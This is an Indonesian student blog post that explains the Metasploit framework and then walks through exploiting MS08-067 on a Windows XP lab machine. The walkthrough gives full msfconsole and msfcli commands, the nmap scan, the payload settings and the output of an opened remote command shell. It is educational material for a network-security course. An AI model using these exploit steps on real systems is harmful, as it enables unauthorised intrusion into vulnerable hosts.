Translate

Sabtu, 17 Maret 2018

Apa Itu Metasploit - pengertian dan implementasi

 Artikel ini saya tulis sebagai media pembelajaran dan untuk memenuhi tugas dari matakuliah Keamanan jaringan. Saya akan membahas tentang metasploit penetration tool.


 Pengertian Metasploit

Metasploit adalah sebuah proyek keamanan komputer yang menyediakan informasi tentang kerentanan keamanan dan bantuan dalam pengujian penetrasi dan pengembangan signature IDS.

Yang paling terkenal sub-proyeknya adalah open source, Metasploit Framework, alat untuk mengembangkan dan melaksanakan memanfaatkan kode terhadap mesin target jarak jauh. sub-proyek penting lainnya termasuk database Opcode, shellcode arsip dan penelitian terkait.
Metasploit terkenal dengan anti-forensik dan evasion tools, beberapa di antaranya dibangun ke dalam Metasploit Framework.
Metasploit dibuat oleh H. D. Moore pada tahun 2003 sebagai alat jaringan portabel menggunakan Perl. Pada tahun 2007, Framework Metasploit telah benar-benar ditulis ulang di Ruby. [3] Pada tanggal 21 Oktober 2009, Proyek Metasploit mengumumkan [4] bahwa telah diakuisisi oleh Rapid7, sebuah perusahaan keamanan yang menyediakan solusi manajemen kerentanan terpadu.

Seperti produk   Metasploit dapat digunakan untuk menguji kerentanan sistem komputer atau untuk masuk ke sistem remote. Seperti banyak alat-alat keamanan informasi, Metasploit dapat digunakan untuk kegiatan yang sah dan tidak sah. Sejak akuisisi Metasploit Framework, Rapid7 telah menambahkan dua edisi eksklusif inti terbuka yang disebut Metasploit Express dan Metasploit Pro.
Muncul posisi Metasploit sebagai de facto exploit kerangka pembangunan, menyebabkan pelepasan advisories kerentanan software, sering disertai oleh pihak ketiga Metasploit memanfaatkan modul yang menyoroti Exploitability, risiko dan remediasi bug tertentu. Metasploit 3.0 mulai memasukkan alat fuzzing, digunakan untuk menemukan kerentanan software, bukan hanya exploit bug yang diketahui. jalan ini dapat dilihat dengan integrasi lorcon nirkabel (802.11) toolset ke Metasploit 3.0 pada November 2006. Metasploit 4.0 dirilis pada Agustus 2011.
 

                                                        Metasploit Framework
  Langkah-langkah dasar untuk exploit system menggunakan Framework meliputi:
  • Memilih dan mengkonfigurasi exploit (kode yang memasuki sistem target dengan mengambil keuntungan dari salah satu bug tersebut; sekitar 900 eksploitasi yang berbeda untuk Windows, Unix / Linux dan Mac OS X ).
  • Opsional memeriksa apakah sistem target yang dimaksud rentan terhadap eksploitasi
  • Memilih dan mengkonfigurasi payload (kode yang akan dieksekusi pada sistem target jika berhasil masuk, misalnya, remote shell atau server VNC).
  • Memilih teknik pengkodean sehingga sistem intrusi pencegahan (IPS) mengabaikan payload dikodekan.
  • Mengeksekusi exploit
  • Pendekatan modular ini memungkinkan kombinasi dari setiap yang exploit dengan payloads apapun -adalah keuntungan utama dari Framework. Hal ini memfasilitasi tugas penyerang, exploit writers dan payload writers.

Metasploit berjalan pada Unix (termasuk Linux dan Mac OS X) dan pada Windows. Metasploit Framework dapat diperpanjang untuk menggunakan add-ons dalam berbagai bahasa.

Untuk memilih exploit dan payload, beberapa informasi tentang sistem target diperlukan, seperti versi sistem operasi dan layanan jaringan yang terpasang. Informasi ini dapat diperoleh dengan port scanning dan OS fingerprinting tools seperti Nmap. Kerentanan scanner seperti NeXpose, Nessus, dan OpenVAS dapat mendeteksi kerentanan sistem target. Metasploit dapat mengimpor kerentanan data scanner dan membandingkan kerentanan yang diidentifikasi  exploit modul untuk exploit yang akurat.
Metasploit Payload


Metasploit saat ini memiliki lebih dari 438 payloads. Beberapa darinya adalah:
  • Perintah shell memungkinkan pengguna untuk menjalankan script koleksi atau menjalankan perintah sewenang-wenang terhadap tuan rumah.
  • Meterpreter memungkinkan pengguna untuk mengontrol layar perangkat menggunakan VNC dan untuk browsing, upload dan download file.
  • payloads dinamis memungkinkan pengguna untuk menghindari pertahanan anti-virus dengan menghasilkan payloads yang unik.


     Sumber : https://www.maxteroit.com/2016/12/apa-itu-metasploit-dan-pengertianya.html

    Teknik Dasar Metasploit 

    langkah-langkah instalasi metasploit pada ubuntu.

    Metasploit : msfconsole
    Lets go.. pertama kali kita coba dengan testing manual menggunakan metasploit console (msfconsole) yang mana test ini dilakukan pada single mesin windows xp sp2 dengan melakukan percoban exploit ms windows MS08-067 yaitu vulner pada microsoft windows di port 445 beberapa waktu yang lalu yang sempet bikin microsoft kelimpungan :D . Dari terminal console ketik perintah berikut, seperti pada gambar dibawah:

    $ msfconsole


    Untuk perintah-perintah lainnya bisa dipelajari dengan mengetikkan help :
      msf > help
      Core Commands
      =============
      
      Command       Description
      -------       -----------
      ?             Help menu
      back          Move back from the current context
      banner        Display an awesome metasploit banner
      cd            Change the current working directory
      connect       Communicate with a host
      exit          Exit the console
      help          Help menu
      info          Displays information about one or more module
      irb           Drop into irb scripting mode
      jobs          Displays and manages jobs
      load          Load a framework plugin
      loadpath      Searches for and loads modules from a path
      quit          Exit the console
      resource      Run the commands stored in a file
      route         Route traffic through a session
      save          Saves the active datastores
      search        Searches module names and descriptions
      sessions      Dump session listings and display information about sessions
      set           Sets a variable to a value
      setg          Sets a global variable to a value
      show          Displays modules of a given type, or all modules
      sleep         Do nothing for the specified number of seconds
      unload        Unload a framework plugin
      unset         Unsets one or more variables
      unsetg        Unsets one or more global variables
      use           Selects a module by name
      version       Show the framework and console library version numbers
    Untuk melihat list exploits-nya , gunakan perintah :
      msf > show exploits
    List seluruh exploit yang ada kira-kira seperti ini (saya paste sebagian saja biar ndak terlalu panjang) :
      windows/smb/ms05_039_pnp              Microsoft Plug and Play Service Overflow
      windows/smb/ms06_025_rasmans_reg      Microsoft RRAS Service RASMAN Registry Overflow
      windows/smb/ms06_025_rras             Microsoft RRAS Service Overflow
      windows/smb/ms06_040_netapi           Microsoft Server Service NetpwPathCanonicalize Overflow
      windows/smb/ms06_066_nwapi            Microsoft Services MS06-066 nwapi32.dll
      windows/smb/ms06_066_nwwks            Microsoft Services MS06-066 nwwks.dll
      windows/smb/ms08_067_netapi           Microsoft Server Service Relative Path Stack Corruption
    Scan mesin target menggunakan nmap. Dalam contoh kasus kali ini kita gunakan kompi dg ip 192.168.1.28 :
      msf > sudo nmap -v -sS -A -O 192.168.1.28
      [*] exec: sudo nmap -v -sS -A -O 192.168.1.28
      [sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-21 23:50 CIT
      Initiating ARP Ping Scan at 23:50
      Scanning 192.168.1.28 [1 port]
      Host 192.168.1.28 appears to be up ... good.
      Interesting ports on 192.168.1.28:
      Not shown: 1712 closed ports
      PORT    STATE SERVICE      VERSION
      135/tcp open  msrpc        Microsoft Windows RPC
      139/tcp open  netbios-ssn
      445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
      MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)
      Device type: general purpose
      Running: Microsoft Windows XP
      OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3
      Network Distance: 1 hop
      TCP Sequence Prediction: Difficulty=258 (Good luck!)
      IP ID Sequence Generation: Incremental
      Service Info: OS: Windows
    Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka. Mari kita coba kompi ini dengan menggunakan exploit windows/smb/ms08_067_netapi.
      msf > use windows/smb/ms08_067_netapi
      msf exploit(ms08_067_netapi) >
    Lihat opsi dari exploit ini dengan mengetikkan show options :
      msf exploit(ms08_067_netapi) > show options
      Module options:
      Name     Current Setting  Required  Description
      ----     ---------------  --------  -----------
      RHOST                     yes       The target address
      RPORT    445              yes       Set the SMB service port
      SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
      
      Exploit target:
      Id  Name
      --  ----
      0   Automatic Targeting
    Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :
      msf exploit(ms08_067_netapi) > set rhost 192.168.1.28
      rhost => 192.168.1.28
    Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :
      msf exploit(ms08_067_netapi) > show targets
      Exploit targets:
      Id  Name
      --  ----
      0   Automatic Targeting
      1   Windows 2000 Universal
      2   Windows XP SP0/SP1 Universal
      3   Windows XP SP2 English (NX)
      4   Windows XP SP3 English (NX)
      -------- cut -----------
    Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :
      msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
      payloads => windows/shell_bind_tcp
    Untuk melihat payload apa saja dalam metasploit, gunakan perintah :
      msf exploit(ms08_067_netapi) > show payloads
      Compatible payloads
      ===================
      Name                                            Description
      ----                                            -----------
      generic/debug_trap                Generic x86 Debug Trap
      generic/debug_trap/bind_ipv6_tcp  Generic x86 Debug Trap, Bind TCP Stager(IPv6)
      generic/debug_trap/bind_nonx_tcp  Generic x86 Debug Trap, Bind TCP Stager(No NX Support)
      generic/debug_trap/bind_tcp       Generic x86 Debug Trap, Bind TCP Stager
      ----------- dipotong sampai disini ---------------
    Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :
      msf exploit(ms08_067_netapi) > show options
      Module options:
      Name     Current Setting  Required  Description
      ----     ---------------  --------  -----------
      RHOST    192.168.1.28     yes       The target address
      RPORT    445              yes       Set the SMB service port
      SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
      
      Payload options (windows/shell_bind_tcp):
      Name      Current Setting  Required  Description
      ----      ---------------  --------  -----------
      EXITFUNC  thread           yes       Exit technique: seh, thread, process
      LPORT     4444             yes       The local port
      RHOST     192.168.1.28     no        The target address
      Exploit target:
      Id  Name
      --  ----
      0   Automatic Targeting
    sekarang jalankan exploit :
      msf exploit(ms08_067_netapi) > exploit
      [*] Started bind handler
      [*] Automatically detecting the target...
      [*] Fingerprint: Windows XP Service Pack 2 - lang:English
      [*] Selected Target: Windows XP SP2 English (NX)
      [*] Triggering the vulnerability...
      [*] Command shell session 1 opened (192.168.1.6:33270 -> 192.168.1.28:4444)
      
      Microsoft Windows XP [Version 5.1.2600]
      (C) Copyright 1985-2001 Microsoft Corp.
      
      C:\WINDOWS\system32>ipconfig
      ipconfig
      Windows IP Configuration
      Ethernet adapter Local Area Connection:
      
          Connection-specific DNS Suffix  . :
          IP Address. . . . . . . . . . . . : 192.168.1.28
          Subnet Mask . . . . . . . . . . . : 255.255.255.0
          Default Gateway . . . . . . . . . : 192.168.1.254
      
      C:\WINDOWS\system32>
    Dan ternyata emang masih bolong… :p
    Metasploit : msfcli
    Dari langkah-langkah diatas… sebenarnya bisa dilakukan exploitasi dengan menggunakan satu perintah dari console, dan diakomodir dengan menggunakan msfcli yang notabene sebenarnya adalah metasploit command line interface.
    Untuk melihat manual perintahnya bisa dilihat dari help maupun
    manpage-nyawiki-nya metasploit.
      bash-4.1$ msfcli –help
      [*] Please wait while we load the module tree...
      Error: Invalid module: --help
      Usage: /usr/local/bin/msfcli   [mode]
      =================================================================
      Mode           Description
      ----           -----------
      (H)elp         You're looking at it baby!
      (S)ummary      Show information about this module
      (O)ptions      Show available options for this module
      (A)dvanced     Show available advanced options for this module
      (I)DS Evasion  Show available ids evasion options for this module
      (P)ayloads     Show available payloads for this module
      (T)argets      Show available targets for this exploit module
      (AC)tions      Show available actions for this auxiliary module
      (C)heck        Run the check routine of the selected module
      (E)xecute      Execute the selected module
    So.. mari kita coba. Contoh kasusnya sama seperti artikel msfconsole biar ndak capek nulisnya yaitu:
      IP Addr Target : 192.168.1.28
      Port target : 445
      Exploit  : windows/smb/ms08_067_netapi
      Payload  : windows/shell_bind_tcp
      Exploit target : 0
    Dan implementasinya menjadi seperti ini :
      bash$ msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.1.28 TARGET=0 PAYLOAD=generic/shell_bind_tcp E
      [*] Please wait while we load the module tree...
      [*] Started bind handler
      [*] Automatically detecting the target...
      [*] Fingerprint: Windows XP Service Pack 2 - lang:English
      [*] Selected Target: Windows XP SP2 English (NX)
      [*] Triggering the vulnerability...
      [*] Command shell session 1 opened (192.168.1.6:36804 -> 192.168.1.28:4444)
      
      Microsoft Windows XP [Version 5.1.2600]
      (C) Copyright 1985-2001 Microsoft Corp.
      
      C:\WINDOWS\system32>ipconfig
      ipconfig
      Windows IP Configuration
      Ethernet adapter Local Area Connection:
          Connection-specific DNS Suffix  . :
          IP Address. . . . . . . . . . . . : 192.168.1.28
          Subnet Mask . . . . . . . . . . . : 255.255.255.0
          Default Gateway . . . . . . . . . : 192.168.1.254
      C:\WINDOWS\system32>
    Implementasi yang sama juga bisa dilakukan pada metasploit GUI (msfgui) dan metasploit berbasis web (msfweb). Silahkan dicoba sendiri untuk pengimplementasiannya. Dari teknik dasar ini silahkan dikembangkan dengan teknik-teknik yang lain.

Tidak ada komentar:

Posting Komentar